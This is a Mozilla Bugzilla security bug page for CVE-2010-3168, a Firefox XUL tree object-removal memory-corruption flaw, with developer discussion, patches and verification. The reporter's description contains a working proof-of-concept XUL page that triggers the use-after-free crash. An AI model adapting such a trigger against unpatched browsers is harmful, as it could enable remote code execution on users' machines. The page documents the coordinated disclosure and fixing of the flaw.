Last Comment Bug 576075 - (CVE-2010-3168) tree Object Removal Remote Code Execution Vulnerability (ZDI-CAN-817)
(CVE-2010-3168)
: tree Object Removal Remote Code Execution Vulnerability (ZDI-CAN-817)
Status: RESOLVED FIXED
[sg:critical?] maybe sg:dos in 1.9.2 ...
: verified1.9.1, verified1.9.2
Product: Core
Classification: Components
Component: XUL (show other bugs)
: unspecified
: All All
: -- critical (vote)
: ---
Assigned To: Olli Pettay [:smaug] (vacation Aug 25-28)
:
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2010-06-30 13:22 PDT by Reed Loden [:reed] (use needinfo?)
Modified: 2010-09-27 18:29 PDT (History)
19 users (show)
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
final+
.9+
.9-fixed
.12+
.12-fixed


Attachments
stack traces on mac (55.66 KB, text/plain)
2010-06-30 13:43 PDT, Jesse Ruderman
no flags Details
patch (7.33 KB, patch)
2010-07-28 05:47 PDT, Olli Pettay [:smaug] (vacation Aug 25-28)
enndeakin: review+
christian: approval1.9.2.9+
christian: approval1.9.1.12+
Details | Diff | Splinter Review
1.8.0 version (5.75 KB, patch)
2010-08-26 03:22 PDT, Martin Stránský
no flags Details | Diff | Splinter Review

Description Reed Loden [:reed] (use needinfo?) 2010-06-30 13:22:35 PDT
Created attachment 455236 [details]
PoC

ZDI-CAN-817: Mozilla Firefox tree Object Removal Remote Code Execution Vulnerability

-- ABSTRACT ------------------------------------------------------------

TippingPoint has identified a vulnerability affecting the following 
products:

    Mozilla Firefox 3.6.x

-- VULNERABILITY DETAILS -----------------------------------------------

This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Mozilla Firefox. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within the support for XUL <tree> objects. If a
specific property of a tree object is set and the parent node attempts
to remove the child, the process can be made to access invalid memory.
This can be abused by an attacker to execute remote code under the
context of the user running the browser.

Version(s)  tested: Mozilla Firefox 3.6.2
Platform(s) tested: Windows XP SP3 x86

<window
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
        onload="run()">

<tree>
  <treecols/>
  <treechildren/>
</tree>

<script type="text/javascript"><![CDATA[
function run() {
  var tree = document.getElementsByTagName("tree")[0];
  var view = tree.treeBoxObject.view;

  view.selection = {
    isSelected : function(i) {
      return false;
    },
    set tree(t) {
      if (t == null) {
        tree.parentNode.removeChild(tree);
      }
    }
  };

  var body = tree.treeBoxObject.treeBody;
  body.parentNode.removeChild(body);
}
]]></script>


-- CREDIT --------------------------------------------------------------

This vulnerability was discovered by:
    * regenrecht
Comment 1 Reed Loden [:reed] (use needinfo?) 2010-06-30 13:33:41 PDT
bp-1622bdfd-786f-4d9b-ad21-b97802100630

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:2.0b2pre) Gecko/20100630 Minefield/4.0b2pre
Comment 2 Jesse Ruderman 2010-06-30 13:43:05 PDT
Created attachment 455249 [details]
stack traces on mac

###!!! ASSERTION: Want to fire mutation events, but it's not safe: '(aNode->IsNodeOfType(nsINode::eCONTENT) && static_cast<nsIContent*>(aNode)-> IsInNativeAnonymousSubtree()) || sScriptBlockerCount == sRemovableScriptBlockerCount', file build/content/base/src/nsContentUtils.cpp, line 3534

###!!! ASSERTION: recurring into frame construction: 'mPresContext->mLayoutPhaseCount[eLayoutPhase_FrameC] == 0', file build/layout/base/nsPresContext.h, line 1275

Crash [@ nsStyleContext::GetRuleNode] [@ nsBoxFrame::RemoveFrame]
Comment 3 Robert O'Callahan (:roc) (Exited; email my personal email if necessary) 2010-06-30 16:55:55 PDT
Again, we need to prevent content script from implement nsITreeSelection. How do we do that?
Comment 4 Robert O'Callahan (:roc) (Exited; email my personal email if necessary) 2010-06-30 16:56:22 PDT
In fact, why should content script *ever* be allowed to implement XPCOM interfaces via XPConnect?
Comment 5 Robert O'Callahan (:roc) (Exited; email my personal email if necessary) 2010-06-30 17:03:57 PDT
In fact I thought we changed things to prevent that already...
Comment 6 Boris Zbarsky [:bz] 2010-06-30 17:04:44 PDT
It's required for some DOM stuff... EventListener objects, specifically.  :(

I would be fine with needing to explicitly flag interfaces that content script can implement, though.
Comment 7 Robert O'Callahan (:roc) (Exited; email my personal email if necessary) 2010-06-30 17:09:36 PDT
OK, then let's do that.
Comment 8 Daniel Veditz [:dveditz] 2010-06-30 18:17:28 PDT
On 3.6.x I get bp-25fbd0c4-b2ae-4e0c-bd95-ac5052100630 -- isn't that a frame-poisoned address and evidence that we've neutered this one?

On 3.5.x it's bad though, looks like it's off executing at a random address: bp-47bf29d4-1c50-4fe0-b24b-4e85a2100630
Comment 9 Johnny Stenback (:jst, jst@mozilla.com) 2010-06-30 21:53:10 PDT
I don't know of a way to specifically prevent content code from implementing a specific interface, we'd pretty much need to do what bz suggested, e.g. explicitly marking the interfaces that we do let content implement (event handlers, user data handlers, tree iterator callbacks, etc).

But we could plug this hole if we simply made the tree.treeBoxObject.view object check in its selection setter that the given nsITreeSelection really is what we expect it to be (by QIing to a non-scriptable interface and making sure that QI succeeds). We do similar things in various places in the DOM code (by QI'ing to nsIContent or what not).
Comment 10 Robert O'Callahan (:roc) (Exited; email my personal email if necessary) 2010-06-30 21:57:12 PDT
Yeah, we need to do both.
Comment 11 Olli Pettay [:smaug] (vacation Aug 25-28) 2010-07-27 08:58:15 PDT
Sorry for the delay. I'll look into this later today or tomorrow.
Comment 12 Olli Pettay [:smaug] (vacation Aug 25-28) 2010-07-28 05:47:23 PDT
Created attachment 460843 [details] [diff] [review]
patch

The patch is on purpose very similar to Bug 326501,
but had to add security check also the treebuilder.

As far as I see, other SetSelection methods aren't accessible from content.
Comment 13 Olli Pettay [:smaug] (vacation Aug 25-28) 2010-07-28 08:21:52 PDT
And because we need the patch for branches, I didn't make
a generic "IsNative" interface, but took the safer approach and added a new
interface for TreeSelection.
Comment 14 Olli Pettay [:smaug] (vacation Aug 25-28) 2010-07-31 12:12:48 PDT
http://hg.mozilla.org/mozilla-central/rev/ad33abeb9305
Comment 15 christian 2010-08-03 10:35:50 PDT
Comment on attachment 460843 [details] [diff] [review]
patch

a=LegNeato for 1.9.2.9 and 1.9.1.12.
Comment 16 Olli Pettay [:smaug] (vacation Aug 25-28) 2010-08-11 07:26:56 PDT
http://hg.mozilla.org/releases/mozilla-1.9.2/rev/a5122f1a593d
Comment 17 Olli Pettay [:smaug] (vacation Aug 25-28) 2010-08-11 07:27:06 PDT
http://hg.mozilla.org/releases/mozilla-1.9.1/rev/73c6fec31954
Comment 18 Al Billings [:abillings] 2010-08-17 15:39:01 PDT
Verified for 1.9.2.9 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.9pre) Gecko/20100817 Namoroka/3.6.9pre ( .NET CLR 3.5.30729) using PoC. Does not crash as it does in 1.9.2.8.

Verified for 1.9.1.12 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.12pre) Gecko/20100817 Shiretoko/3.5.12pre ( .NET CLR 3.5.30729) using same PoC. Does not crash as it does in 1.9.1.11.
Comment 19 Martin Stránský 2010-08-26 03:22:28 PDT
Created attachment 469407 [details] [diff] [review]
1.8.0 version

Note You need to log in before you can comment on or make changes to this bug.